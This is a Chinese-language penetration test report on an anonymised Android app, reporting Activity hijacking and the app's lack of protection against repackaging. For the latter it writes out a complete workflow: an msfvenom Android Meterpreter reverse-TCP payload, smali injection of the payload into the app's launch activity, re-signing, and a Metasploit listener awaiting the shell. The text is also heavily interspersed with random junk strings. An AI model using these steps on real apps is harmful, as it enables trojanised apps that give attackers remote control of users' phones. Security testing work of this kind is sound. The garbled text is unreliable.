原创-app客户端渗透测试报告之反编译捆绑msf马二次打包以及active劫持漏洞

admin

; `; l8 e# z/ C0 S& I9 ~ M7 }0 G

8 Z% C2 P% Y8 r! h) d5 _; l0 {. r
7 S9 w; v, f* }5 y

, ^9 V; u: P) C, D% q' `( K

, l h0 @4 ^- V( [" z' O% K" G

5 B3 {6 r( x; [, y5 L) { 2 {) v+ q" j- q: F( I6 G 文档编号：                # [ G3 r! s& e* w

7 J8 T6 V9 U3 I6 u; s: U* Y+ `" L6 s

+ m1 N3 Y" C* |$ l( q; `9 O $ ~$ Y# n# _3 d5 Q/ ?   ) }; x _9 \6 ? 5 @0 G( s, m, G+ v, ?4 u% b; m+ o

* M5 n. X+ T0 X7 C7 g

& F% O! e" A* ]% E$ R   " p, d% L8 A; |. n4 X9 s. ?

" A9 n) M8 E8 J$ e f. m

" b5 C0 e6 I3 @' K4 d8 D/ q  

 

; }. V+ b* o& l& Z# [- U c+ Z1 h$ t# ?; C) H

; ^8 H8 ?3 p5 ~/ a1 c: s   / N0 F5 B+ w7 y9 y

' h8 k* k/ _$ [. |8 u' g0 j% y

9 o9 X2 y3 @0 @$ M # k! Q0 V* n. @# _3 N" _5 T, S 某某某APP渗透测试

  ( f* t7 N5 I# p4 N, z- X- n

5 D a5 M, T" j( Y! P : k7 U$ c5 @7 j1 h0 ^) }

  5 s- j+ ^ b/ K7 K2 s+ _" ^1 [

4 D# V& z6 P( m

. \3 |* k7 o2 T- D& c , v0 O- D$ c6 M4 t; `   ) C5 I. ?# S& n% }2 c! U( s

, {1 o+ ~6 `; Y* @( t8 y' x

& l Q+ O# \9 z1 m8 ^   * Z+ a, V( B. B3 r) D9 q # O, a9 d- B \. _: ?" [

5 f/ z S9 z! F& y" u

- M5 F$ c' ~+ O# i5 l @ 技 术 报 告 - M3 u; V4 N8 G- _6 s

2 ~7 o& U0 |0 u / h1 A1 Z" T+ _; w8 N. t% A

$ t" f: D9 `3 P* x6 t0 {  

- q- E3 T* K/ e

( H Y3 D1 P6 ^4 t* e+ |" x& {   7 O: t/ P$ s# G # n6 ?( i# E; N4 R) f+ d

% y- R/ b& J. w" @& {5 W8 \/ V

1 h# R" Z% ~7 T* n9 S2 o+ O' _' S0 \   " w) b* R$ G& K: h- k1 j

1 o* `& T* s$ u9 r3 f% y: n' a

  & l( l6 f7 M6 U% f

1 p3 T( s6 Z$ k6 j O, {/ m 1 [* u9 }6 {) r7 o: P# N5 F   : x9 m8 e. c) h# |! p

. ?# x( t- w6 m% k9 D  

7 T3 W- g, U) A Q) R% X

9 |5 \" u q1 y* U8 i : i/ \* J, Y( Q3 I9 A# V   # ~3 {: H6 F' Z

2 n. L( |- ?7 B( {: @- j; o# s

$ D3 d. O$ I) L2 d$ o! y3 \/ U   * U( x4 w2 w8 E

! i' q: ~7 W9 T2 O- ?/ Q. A

0 L( i) Q l6 t$ w# x0 S; Q   . O) @. h+ \9 r- @ ! ~ ?) m$ _/ ?1 M

2 j( F- O7 \& U

  7 l4 I8 j! k) I

/ p0 p9 Q3 v% M6 G* y

3 o" l1 K5 b- U% N4 B   : e4 W! z' f3 ~& r- S2 }; d' }0 j

7 B. K7 {" b+ x' U/ l8 n9 o; v7 ~   + v9 p# X8 n* f - m' Y. p( U" K5 `( v

3 d+ s9 {* o1 s2 {6 I; H

1 k( x4 K, A. B: Y+ y  

! O( e P4 U9 N8 _   6 F9 C" r7 r( \) h( \$ ]

) U) K, i1 M5 _5 z0 q8 Q 0 K2 O% Z: u' C8 W) t5 X e W

9 K# ?# m* s- T" q: P   : c, M v, b$ k 0 L& s) U: h9 E+ U

; E/ O* ^2 D- W+ `

* S7 C, E3 t- _1 G. p0 b6 T- h3 Y   5 b3 ~& ?+ h+ N! k; ` " ?( k$ r+ s4 J' U2 C8 N( D1 z

5 H" f9 R( v% T) D' E 0 W! F/ o" X# ^! S' j! Q& B; ?* G

1 B9 o {4 P+ x* \+ t- |' ?) Q ! B6 J$ b! [* l4 |9 m( @   - p) w k% P' x% L: a; K + v+ }/ w& x0 I* j/ ]! W& ]: M

/ L1 }' Q5 k6 G q! b9 n# k

* Y, B+ i( |( Y2 L / f, Z3 V& }5 |1 |* \# T7 \1 q3 Q   6 ?3 b0 d+ O' H0 F1 o! c4 V ' [# F; F B- @. {& l3 Q4 e

, I2 h) @$ ?& l) i% D % S1 t: {3 y% s8 a5 j! i9 b+ j

/ y) {) T9 r! Z 二〇二〇年 8 o, m0 a) C) h) \

7 a ]( k2 z, M2 [5 Q/ H

: F$ I P; g* i " y% C/ D* j! {

' L% {3 \3 n7 G1 m0 N

% l. C) ^4 R9 V+ N$ c7 `
# l% {+ A, F( S" A3 T# `( Q9 ^ * x ^1 U3 v$ T0 I: S# _

3 w4 ~) r% D& ]2 d! h: z% I 5 Y2 s* H3 ]. ?2 `$ [( V

$ P* F5 {+ y+ b 目 录 ( a: T- `$ G( w) }1 l% s + V! N' D# i0 ]2 A# J3 \) n6 D0 _

# D4 a' u- }3 w( F" l, i/ w

+ ~# T# x# s) e% K" y2 _; _# ~) ? ( I' {2 E, x; A1 k S   - s2 ^9 u- ^# Q& j3 C& F; m$ X" O. ~

$ Q, B8 U3 O4 f, l3 I 1 概述... 3

, g9 w( X$ I) c' ?6 ^+ B , f7 S* m" h& | l9 c5 [/ a' N5 p1 ] 1.2测试时间... 3

. q6 Z* ?$ s4 b: v, Z4 D

! K7 F' T8 j: j: C 1.3测试对象... 3 - E; |! t0 a" N2 q - c& C1 C% a7 w

5 P8 _# i8 q+ C( r& d0 i

1.4测试结果... 3 & {$ w, q+ T0 \, N1 P: U 2 j' F1 y1 C/ a

' Z: q' b* u3 l

0 {: D2 R7 d6 R0 A8 [9 R 2 检测结果... 4

* j' u: J) n' t. p L# L1 q ?" X+ A, G" P- _

' [2 y* ~) ~# I. H: m# e * _4 U1 G4 l& H% f 2.1 某某某... 4 0 U9 G. v. Q4 z. j6 N; V * @" B0 w- v. q2 l, W* X# n0 X

. o% X q# v- o1 _- G) y 2.1.1检测目标... 4 3 l% D; {) l8 y4 B! f

9 J! G2 ^7 n) u1 D7 ], H$ Q- y% i ; E4 ]: x5 a J- A$ A

8 M! }% y) e0 n3 Y, H 2.1.2检测结果... 4

7 p9 [$ r' b" I) O N 2.1.2.1. 4 ! T/ W8 \- E. x/ ~7 f- P

* q0 O- q3 ]2 u 2.1.2.2. 6 " B- E" e/ N, b4 p% k) ~

. Z5 J( e s! @

7 ^: Q: @& H5 L" t$ ^ 8 K7 e* G5 h( D9 ~. ^' X ! j1 R5 u) j# }$ d' w' N' r

) s" u8 s# }& v9 O7 n" M 3 e# p* {. _; L" T7 W & R" `* E0 c" }4 m& C9 m7 |7 B

+ D8 p. Z) I3 Y1 Q5 T: V- b9 l
' B" u6 b \2 x3 _" x5 L/ w0 ^! W ! a8 V' |" L, \$ v0 i + b- b q) Q4 g( H) @9 J! L! U- b# _

; V, i, \ O) f , i; K I. C8 G. ~% ^ 1 概述 0 Q) e8 q. [! Y# W% P9 P

. ~* o" u8 m/ {7 v2 p* z7 B( m/ B

! N, @4 m/ g6 q( u/ r 1.2测试时间 & c+ p8 Z$ D8 \: |1 E" a

5 G, E, R7 |; }7 d4 [" ^0 Y6 h/ S3 i: [" k/ Y. |7 u+ w& \8 x+ g3 o- j5 ]7 |3 Y3 q& L' r* r5 \ v# ~5 Z; v, ^: C" W+ O) }5 _. j1 B+ {7 ]; a% ^7 L( h3 T8 ]7 M O( j+ {5 r4 C1 W% e/ Y2 E/ |1 U2 |/ A; h: n! k1 P8 G; V( b. b& V3 |8 H$ M" R& [ I) y' w8 j" T5 S4 s8 y& U/ X8 ^# Z" { V' z. c) `; Q0 n$ C; f

' U. H7 q8 R9 f% B+ ?4 ]3 t 2 ^2 Q* h y0 e 0 N5 w! p+ U5 L, N! {. P 渗透测试时间 Y$ h& j ~1 h 0 i# `6 Z) I; C0 u; t( S * X, |( k4 e) O! g
2 W1 R6 t' R8 }* K1 V+ @! A % o) C4 i- P/ V 8 L/ w& q8 ~: h) a( F 起始时间 8 f. N- q) H0 V7 U8 g1 B : n. q P: `1 e' l7 R ; i$ _8 s8 _! `- H 0 ^" m# f4 X% a% V [9 a7 _	% {. L- s& s, S% G + d1 C) }3 u# W; p 2020年4月6日 0 b9 W" O1 P; J : V. {3 v5 e _0 I [8 K) k' h 8 K- s/ J$ t$ u$ s
+ [ ]8 o) a5 d5 @9 e# |: r 结束时间 5 E6 s+ R A9 H0 ^5 h8 M % C2 G% h ]& y' s' v1 ?7 m" M' X	" s9 K, ~1 @8 K3 N( o ' @3 L2 D% ~" C3 W* ~5 Z + }$ q- g9 b2 k$ L/ b# Z4 v% S X5 A, |, Y5 v) L 2020年4月9日 ) _' K& Q9 X$ F$ q# L9 e3 X 1 S0 [# G% h; b9 J' I( W8 @

" H6 u5 J/ d |0 e) f% D

) _7 _3 t% T% G' ~ 1.3测试对象 & L5 J( {' s' A7 f5 f" f

7 m9 D$ q2 g) d4 s/ l% C" @! D V6 h" O) [" b- d6 w! p& Y

5 v7 h( z! |5 b' _- i A0 V' O& n 此次测试目标为某某某安卓APP进行渗透性测试，APP存在安全漏洞数量如下表所示： ' W% t) q# F0 F3 b; B& ~" B8 p4 f

% P6 ]1 u! C- ?5 t& e* ?6 ^ Y 9 o( o( ]% C! V! ^

1 ^0 J" Q" b V: d. j 表1-1 检测对象

" O; `( R5 {* {' A/ \ 2 Q! m. H: L, q& ?1 @* X* x& F$ J& c0 q- n8 _! p# @9 j1 o. j' b$ Z$ m4 J& v3 C( w! k- K2 m9 O5 b- {% y: m$ O3 {6 Y+ n0 x) t0 C! \+ [3 z1 J1 L* ]) L7 q( s) q. @* g: p; T9 z6 }4 m" e" ]) s1 U% ]; }+ q. B: y3 I+ N% b4 @5 y |! q) G' w, D0 w# U; Z( N, T' J( \6 V! n- q: U. _7 ]9 O5 z t" s( V/ v# }5 x- F2 C. ]2 t+ A, d. O5 K% o8 n+ c* K1 H4 C( y( D2 l p7 A) r: d

: d( f3 d7 R- ]3 p1 k' a" i" N0 ^ 6 h% Z) J( i& @4 U) I5 C: N* D 9 t$ \" v5 m4 \/ h# v# ]5 S 序号 , t1 }( i6 Y5 p& }4 {4 x 3 u' R; P' @: a+ q+ T) C( [: F $ D0 N* d: D+ L, G' v6 r	/ b: \1 D: d' y8 x- ~8 P 4 N6 f f: N8 K 测试对象 $ d' T0 g- o0 U) T: i0 Y	$ \) t9 J: o' A6 W# J, h2 K 测试地址 0 z' p! M% I1 v \8 a, P , } g0 O, m8 Y# q C1 s 2 t5 [) s C/ A; M( a ?	2 p, M) a, D" C: D% ^6 x! l $ N r! r) k7 A1 _5 [5 D# T + J: o6 H: `4 H! V# _ v 安全漏洞 ; W- _, f1 c8 o0 {+ ~0 H ) ?# c: k* Y: Q5 D/ x% [
( T; E+ p* U/ P / t: ~* J: l/ r2 d, } 1 * S- b/ P4 [4 V2 t	) ^) W0 }* J) E 1 a$ R& f1 M. w/ h) Y+ @. H * V4 m+ ?. U8 S7 [; _' {* | 某某某安卓APP & P6 @4 m+ R! @6 ^4 G1 n8 p' k - w$ V! B/ Z) ~) B. i	$ v' ?: [& v0 m% c; f( E 3 Y. A$ X6 W" u5 A* |9 ~ , f% z! I5 b, i7 q+ k- _5 q   7 k" L" ]3 H% @+ h8 c; S: F5 |& |6 Q , i; |% O$ g% N0 y9 j9 L	% L G' d2 G1 `$ J C 5 B9 |: I+ H# O, [ . D" u2 ?+ H+ N5 } 2 1 G- r# V. l$ U9 P. ^( s " y: n+ U1 A4 w3 L$ a U9 k9 Q& {. ~: g2 k* F/ l3 h - o: I0 W2 W$ ~/ m+ b

- t% k V2 h' x& d: b% Z: Z

* j- ?0 E A- V* H8 Q# N B 1.4测试结果 ) \ U/ t4 H; R& ]) U

5 X' z: Q% z% P9 Q 3 S* h# G# I2 S

在本次对某某某APP透测试中发现，APP安全防护存在一定问题，主要问题如下所示：

. T+ G/ w& N8 g+ l6 \* S

5 e; P! S5 [7 W0 n; [  

" }( `" u+ ?" |( P9 j$ ?

4 B" X; r1 c7 t( n, h6 r! K6 E ; Y% u, M6 Y* S/ `6 X) g! {( A' A# j+ v' B8 s3 u7 {3 K9 d {3 m/ }: d: j4 u9 B: k5 E6 {- J/ b0 c! ?$ J; Q4 ~6 ~1 L( v5 c- q P* T8 k3 x4 @) Y# C+ N4 @! [4 T7 M) K# @2 c( P; ~) y. i* C( r2 j `6 E4 H8 L, X; v# b, a# g, v9 V/ |* t! L7 q% ?# Y1 O& ?% h" I: e' E1 J7 p2 N+ b8 S+ W) b. l# z; ~4 I% m" C2 i. w2 L1 }; d5 p ^. ^ |8 S7 j& k2 s" B& g$ r1 J4 L" @3 N& C7 k. M- I! m8 u# l0 [; b0 K4 W! a0 l4 A8 ]* |4 o, C! k4 t2 N$ h: C. d4 v, |1 J) B5 L) _% T. z6 B) |; h( ]+ M) \. L- K' O0 B l5 M. F: m; ], r; |7 t& y3 K- N8 A; a# a) ?) V8 N* O0 {) k' y

序号 4 i2 k- x1 q& [5 H8 ~7 q' v ' ?7 k! p: @1 t) N0 i	" \ d/ V, a; X ) B5 R& c# h& j" D- Q7 v $ S6 B3 N4 y* Q" o- `( t6 n7 k 系统名称 7 P# M A/ d8 S# x+ M	R$ ]6 r4 E! P; F' _ + P: E/ }+ u7 [ 漏洞名称 9 y6 \' p' x7 M# @" [3 n4 H+ r : X4 a0 r; Z9 M) ]1 M& ?& Q	u, f4 P/ e) |. c; Z0 l * `0 l5 t1 l- G/ T 漏洞危害 3 ?& e6 w' e4 T0 Z/ q % W3 t' s1 D& F" B. m, K - r6 C. y8 s7 x	3 ]$ Y- J& Q1 v6 } - y! J0 D# z3 ?+ l4 y/ o 4 p; p7 N7 A0 m/ [ 修复结果 # `) G1 C: V9 S: E
, C4 b% \2 Z% C* W7 U) A / `+ ?$ \6 g9 g6 s6 r) B o4 z 0 W ^1 r) r5 j! s 1 5 v/ D0 C3 {- Y' c 8 ?6 ^0 C0 a' s. M $ v) p% }% O* G3 y	5 g+ K# h( _7 l5 d# O! I: I( l; E 6 G$ n- L# E" P + a4 s5 U& B" n- m8 u" a4 O 某某某某某某APP , y8 R; o, E: c. R4 V 7 N& p$ t0 r) f: k5 y ; W( u6 T5 d! I 6 [# s2 f! t: s# ^	! e1 v9 @: _& y$ @" b ! E: Y: K f; w! m Activity 劫持 + Y1 P: }1 F3 e6 y6 ^' y 2 P9 F. e. u @1 l0 b: o	! p: a% a% \& c$ f6 [/ q 高 0 v2 F3 S& F% c, \	% r0 b& x8 [1 A. D D $ h0 `1 ~5 t5 I8 x   ' x* \* e# D0 z/ K4 D5 u - K# @' s5 I9 E2 v# j) I: J ) ]5 x6 a1 I$ S, F) _
2 H& Z+ v0 V2 k3 h( H 2 7 I/ ]9 U+ `. Z2 C* {0 G: w" P S6 ^/ z" X3 B. O0 ]& A8 c 6 \+ P4 T8 b7 Y# P! e7 j( B	- o6 c$ G% W& w: z! _+ A # N b( W& V# R3 D* a 某某某某某某APP ( o4 F+ x4 t' r4 N3 a6 z: ^ 3 L/ b( a3 r v6 u a	0 s: s; C+ M" G3 d: A+ V5 R % M6 m( n5 M1 `( ] 反编译二次打包捆绑木马、篡改APP代码 2 @; d, [: F& h7 Y1 J$ m: r. p ) F9 U6 r% B2 P# O0 l / Q# a- S, N8 p, G	2 x3 L7 T% q s1 z/ T 高	3 N( `. o1 h/ S* f + n4 [' _1 {, ] 3 ?9 e1 F: y# b; ]' _   4 ^; W5 W- ]6 s/ C! c5 E 1 M2 ^% I% y8 K: D0 e 9 }; y" }$ |8 F

( k# n8 q t- [/ W8 ^3 n6 x5 s0 F i! x6 r0 d3 w* k; m

# Q1 j6 t/ ~, N6 J1 P, p

& j9 b8 Q4 e1 J7 b0 A' J9 D& d* Z   0 e( y/ K/ R2 o: J! R, I' H

: r, P; U$ p8 f2 n b; |7 p

表1-2 测试结果

; C! A8 {5 s" ~4 f 2 `( }- a5 d7 k( I7 ?

0 o* {; b& F! n' A/ T   . C) s) u/ E6 f5 J- A6 d " y: N5 e! L+ u8 R, K7 u6 ~

3 ^; L6 l; Z+ D+ B

1 F- Y; r2 ~4 Q* s2 m9 l . w) ? V( t6 v+ v2 T) B 2 检测结果                   

" [+ c. t R L, B

. z) y* A+ @- g9 }& b ) ?. A; E8 v! v0 I( I 2.1 某某某 ; c# t" s4 E6 u

& F) g1 |; X$ i( l f3 C

2.1.1检测目标 % b+ Q/ m# l: A8 |: C

6 v0 }5 p: @7 Y2 [

目标地址： 某某某某某某APP ; h4 U$ S) ?7 e! p0 d4 J

7 `& g- C2 D8 t9 @9 `+ j7 o8 A

+ W2 R: A# b2 i- y 2.1.2检测结果

^8 F9 B2 `; F0 j" n; F ; @8 i0 K& x7 E. _' u. M

; D' h0 w/ H+ e) E$ a$ A! e 2.1.2.1 - @. I$ g" V+ |3 d* _5 g/ H4 d

漏洞链接地址：某某某某某某APP ) P- K- W5 h. a

) @) G* i( c6 X3 E. E

- O& b6 \; ?6 K* c% {. \# U   8 H2 X- m$ Z/ m 6 {3 h" i6 C6 y$ d1 ]# ^

. |, d! n, I( f6 u P/ r' e * b0 w1 ^6 X: F6 o9 c" l& Q0 [

漏洞分析及取证：

* \$ W% m8 |' t, S

3 g8 ?3 r8 M7 v9 e6 ]: @7 b' p( \                  通过androidkiiler反编译，发现app未进行安全加固， Activity 为com.minivision.cmcc.activity.SubActivity可被劫持，复现漏洞如图： 3 g. \0 c% V" ^' G7 Y

* O8 h' Y) z+ b: J, J      ( Q6 f6 B9 z/ @; S! L% O

- {, p1 q6 b- ^ , l2 R, ^5 I2 G

                      " f3 j2 T( u) a, E

5 v+ v" p% O% |9 ~: l. n

4 P/ q% }+ e# k

2 W" @3 l* z3 Z- d# R5 b+ X+ j & Q8 f0 z! N' F3 o- h5 o9 P0 t

# }+ u7 q5 N- z% i5 S

& Y. R2 }: P; {! x' O1 i; _3 d

& `. s. H$ ~2 a. }' f! ^) Z& B 漏洞危害：高 # g2 x, I4 v, S9 J! g

& m O# e* R4 O7 w4 b' V1 ` $ n8 C3 k, V4 R& o* v# x1 m0 ]% _4 }' `& y) h# c8 i. t4 D. T- Z/ ~5 H1 }" S- n9 O- m2 c' `2 ^0 a4 N& X9 O. ^- i; Y! U% S" l( u( @" |2 }) R+ x6 F& I. G: A, n7 h; w1 Z* G# y: [( g3 i1 l1 I. U4 O2 H8 F" E# b$ _ H- t9 j5 z8 R# N' D9 ~! N& ]6 ]4 H, l/ @2 \7 M4 f/ j, L U _- I8 \* I: b& J+ i

- r. Z9 g9 n( j3 | 严重程度 $ {8 u! s- f' L! c( o. C 7 V5 o. O( N- P( W4 m8 z, q! { 7 i, b% W( G' B& e0 W+ |) t% M $ y' L- M) P; t, @: x	高	1 W2 C; s' T3 E5 X2 U" V; P 2 `) m3 o; t, H E/ n/ a$ M7 R Z / ]1 n7 B( F% C ■ 6 F1 w" `% { g% j: G * h$ A# v/ X1 ?% B* j# M8 s 4 C9 V+ u) W4 V( B) W , K: y/ v ~5 u/ ~, |) S- E% I# g/ L	+ \ _# V# K5 R% M- R, W" y9 y 5 P- R% I+ x. c3 F1 U2 D 中 3 Q/ z" s3 X. Q. G- ^1 L8 h	8 b; V7 h R6 T" a8 ~5 l   Z; o- _% ?/ p: L F ! N7 C. h5 @& ~9 f	1 P( b! y( o( m! y5 J+ e. [ + e$ s8 R1 z7 [$ v: w3 J 低 / k7 |5 e% Q" T 9 E7 K: O1 ^$ _% V5 P7 K 7 S' O" G' p3 I- j9 D. ~5 w5 }	! m, f1 X# V& Y3 N) y   , C4 b$ k# b& y. R ' Q7 a5 b+ x& b/ `9 D 5 \! L9 l0 z s; ~; ]( I

2 h" E- B- c: F

8 _/ K& y$ L) o' L" G; V& P4 M+ X* e | # W x. t* O9 ?, l   / j2 e! O! f1 P! r # D ?/ i1 ]4 s+ N& @% d

7 g6 u. Z) m$ F9 \* m1 N3 U3 x " W8 a( ?& r/ Z; {5 u' f 修复方法：在 APP 的 Activity 界面（也就是 MainActivity）中重写 onKeyDown 方法和 onPause 方法，当其被覆盖时，就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的（触摸返回键或 HOME 键），如果是用户自己触发的则无需弹出警示，否则弹出警示信息。 5 M# X+ Z0 H/ C' J6 `$ c y- R- a5 Z2 P1 \7 W% O9 H

         

6 u6 D# W1 h; [- u5 i! v

  ; d! Y- Z( f% {9 |

2.1.2.2 3 ]: V0 |0 Y: F; {6 z: X 0 W) a, t( r" o2 g0 Y4 x1 g

3 y' C: }& B$ P8 d: Q; R / R) b! I- g% T4 X. u

漏洞链接地址：某某某某某某APP . ?/ y' [- u7 N0 }2 a) Y- i0 A . g- Y$ n5 T; Y( I

0 ] {- j0 F) D- ^; T- r& R

& v, D! c( Q7 r* N! e( |8 E 1 o! ~5 w, r( ]) Z/ f 漏洞分析及取证： * o0 N9 v+ z1 T9 S3 v( ~

6 a5 j: O7 G2 n. Z

1 M B# a- }. k                  通过反编译，发现程序未加壳加密，可直接反编译获取源码，经过测试可修改app代码捆绑木马或者植入广告等操作，复现详细方法如下： 0 s# {& P( @" p

5 s' J! s5 M, X9 T9 C5 d# y: q9 F 3 ~8 c" P: @1 C+ Q

2 M9 L0 T F, \ 用Metasploit 生成木马 apk

8 [. D6 P* |1 ?& Y/ e# z( [& V - ]! j, z# u0 L

( Y* a3 h8 i e5 g msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk

反编译目标apk和木马apk

* Q3 q5 N# Q2 p) o z+ p 6 S; C4 Z0 m! ?; I: {( o2 Y+ d" T6 u2 B

, K1 h @$ g! K6 b apktool d target.apk
3 K* N, h1 u$ H5 m: I+ }2 } apktool d cockhorse.apk $ `8 w; Y2 N" q V& D9 X

$ g: ~+ i) [) F9 O- Z+ i4 S# p / h2 i5 ]9 G3 b" c( T# |4 u

8 |7 f1 o ]: [% @5 `# C4 \ 木马 apk 注入目标 apk ) m4 |* R2 v3 Z8 [7 z

; M" v4 ?' c* x7 O1 I ( H" z+ h( I" g' ^2 i2 Y/ `

# {4 k3 t2 I0 ]" A 在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件，并在 onCreate()方法中添加如下代码：
invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V $ U: i3 E" J7 B z) l7 ^* |/ }1 D( Q

6 g$ W3 h5 i$ N$ l/ Z4 K

将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中，去除重复 - `8 l. z( T3 r9 H$ x" R : F: d' k$ R* g5 b( A

" E; f5 @6 }% A; Q+ W# g 3 z( H5 O; r, R' X( m

: m6 G% ?/ X' M0 | 将木马文件的 smali 文件放到目标文件下，例如 com/metasploit 文件复制到目标文件 com/ 下 ; b) y0 m1 M! V8 k: ?% i8 n

+ \: t5 u1 J" [! F1 D" [" U % ^/ Z r$ U7 g. V; c. ?& m# ^3 { y 回编译生成最终 apk 1 y5 z) p5 w/ f( o0 x' f

, b, ?4 x- Q( _2 S8 J, F7 x

5 ?5 j# l, [" X! ?1 `# _- {$ C: y' Y 重新打包 ) N' W& Q( C. x 1 d z: _: G, M8 ]8 d! X

( I5 d4 m, D j3 L* P0 E7 A " B" [9 R" {$ R v

' u# B- s! j0 m0 |/ [+ f 5 V. U [ B* N1 U apktool b -o repackage.apk target_app_floder 2 J8 F3 g8 W4 O0 e2 b1 ]) e2 C + G5 v6 B. X% |

3 b: }# I9 r% ?9 G7 m

) ~! c3 m6 w2 Z6 N8 z) l# j0 { 6 \8 S" E2 T6 s/ Q 创建签名文件，有的话可忽略此步骤 5 y0 r" s: `5 ~

6 [8 N9 q& }# }9 {5 Q2 v: N

; N1 d: X1 T. j- G # w' S6 p# J3 ?/ C; k% Z keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000                5 A/ D2 n, e0 X3 U! L4 B! {

' P$ j% z; x1 N0 @' I; |+ { 签名，以下任选其一 - [% _, M% H: y* c/ r

/ e" I" p0 f7 ~5 @3 c

6 o3 O# @' d7 B9 ^ jarsigner 方式

jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname 7 N9 I: X5 E4 k- x. d5 D; P+ H6 s4 h 2 O/ G& R2 `! l" j4 w1 ^3 J/ @

! a9 z1 S8 t0 ]# h6 { & O0 C/ G2 X: ~

" R$ s+ r5 F6 A4 j5 e8 X apksigner 方式

6 y% u$ \7 b$ X& }- B apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk : ~. s; e' N6 I3 e( N& [2 f

) g8 B A; p: X

" A( }" C; c- k" K) V, E 如需要禁用 v2签名 添加选项--v2-signing-enabled false ! @4 |, U3 A& K" ~

) \9 P' c' g) k/ d2 [

验证，以下任选其一 ( B" T4 F3 A5 d. M

! n9 r1 T$ ]/ ?4 ?2 r( V/ d, s) i # N- J* A- u: D% {0 R" ]; c1 ^ jarsigner方式 + J2 h7 L. B$ g# d" L* ?/ E( w, p / Q- r* x4 ~7 u7 t( p- P

V- s2 C: }' z: H% f: j

5 G. I5 V, N& C jarsigner -verify repackaged.apk 9 R8 _3 f' j2 \1 e% g4 n5 n4 @

: a! e# ^9 d; ]4 l( U9 Z

apksigner 方式 / q) W, O& j; @5 E

# t; C8 o$ J Z$ n2 ]) t6 ~/ Y$ x ! }3 l: b) [+ e( D

' U/ ~' Z5 g3 P apksigner verify -v --print-certs repackaged.apk " S/ V7 Z5 _' ?/ f4 J4 E+ D/ o

+ z! [% @0 ?8 h* g

keytool方式

: j3 P& ~* ?# |, ~4 s6 J, z

" N9 v2 R9 ?5 w4 R* f) ] keytool -printcert -jarfile repackaged.apk ( a6 ]4 ?, k' a+ F4 R

8 X4 w$ y" i* ] ; }" d" Y- W4 w( ?& d% ^. E. A

% o# N, Z7 J" V2 w# P0 Q 对齐 ' y: k0 ^7 ~ y' v4 v, l( W

( P Z4 M; C- _) ^. R! t( u. M

3 H1 K0 U: M) f/ r6 n 字节对齐优化 . W! X7 i! N) V2 m% Z# I* J r$ B : _ r9 V' z7 c9 ^* ?

y$ R2 t* N j; b$ q" L+ p ?% ^+ u3 k5 g

/ Q3 y6 A& x3 P, n! n2 e& S$ \ zipalign -v 4 repackaged.apk final.apk * `, a1 R2 e8 h2 u; Y

; [4 T7 f& l( X- l! _% O+ V7 h7 f2 x 检查是否对齐 4 S- v/ r4 |1 a) ]' f K

0 r9 ^. _, Z/ I/ x% } zipalign -c -v 4 final.apk . m) }9 n4 c3 P6 |0 H5 u

3 @9 [: ]$ Z( P& c5 a7 W6 }; D/ i

- w9 t! B2 j, e 注：zipalign可以在V1签名后执行，但zipalign不能在V2签名后执行,只能在V2签名之前执行 / h8 Y' b) m( e4 K& ], ` 2 H" @: D! G3 ~- e% \+ D0 K

9 B/ q' I( c& Z# _ v4 D8 Y' U% f4 _: ~- a/ A 启动Metasploit控制台，配置参数等待上线

3 p- S/ t" C2 W* D7 X

在终端依次输入如下命令 * a/ M( i2 Q, N1 B# r ( a9 L( S3 A, U6 G

msfconsole * Q5 \ e. [1 u2 i; ?" c

4 g. p3 G- @$ ?2 |6 t+ d

" ` h. u; I: ]: H) d2 ` use exploit/multi/handler ! {' }! `/ `4 ?0 t2 L

+ C- O: f' W/ u" J- ~" j set PAYLOAD android/meterpreter/reverse_tcp 5 ]! z! A; e" m

% i2 p: N0 i/ n+ l8 ^

2 c4 n4 [* i, w2 O& q$ }; y : N( ^% W1 z. c5 K8 g2 ^9 k set LHOST 192.xxx.xx.xx ! h0 l8 F# b" Z) _( ? " a: g% d4 T* z

- c% ^2 x# T0 A \6 R set LPORT 4444 0 ]- h: L9 M# {- t) C

6 L3 o- p% ?" u& C ' ^2 z8 C, ?8 S0 F% Z

4 J* h4 C5 G+ S9 L exploit

, D, l2 b$ j- u0 m% q) B ; Q+ d, x* h0 j! N; h9 u. h

. a, n4 k( \: ~ `4 }2 P 之前我们把入口放在 MainActivity 的 onCreate 方法中，当启动目标应用进入该界面，就会连接成功，如下图：               3 t( ~- u7 K3 u9 X8 a # ~- J8 g' k9 x5 d3 l

; T; c2 B: n+ E0 W" k0 E. R , Z1 M6 x$ `2 [ 漏洞危害：中 ! @& d7 q% b* S2 n5 r9 o " C+ H {6 n6 C6 Z

: k) ~7 F! R0 w+ Z* e

" X/ R4 @5 |/ |8 k, | + a0 v) I2 N; Q& w' a* j$ ], } y; j/ l, J! J# [- K+ X: _- M! F! }& k0 ?& Z0 U* c/ q5 j! I6 ]; A! N6 N6 q4 U$ X8 P& N- a9 t7 v6 W9 y! ]- {& N) h9 V" S3 |* p/ c6 ^) X2 Q+ e* T5 p! s% f# }0 _2 i% f# V8 \* R! V! ?, Y7 W4 G1 i! `$ ^, D0 e8 t2 T* Q4 W* D) p# k+ @- C1 L, K& ]- j; V. x; _6 V

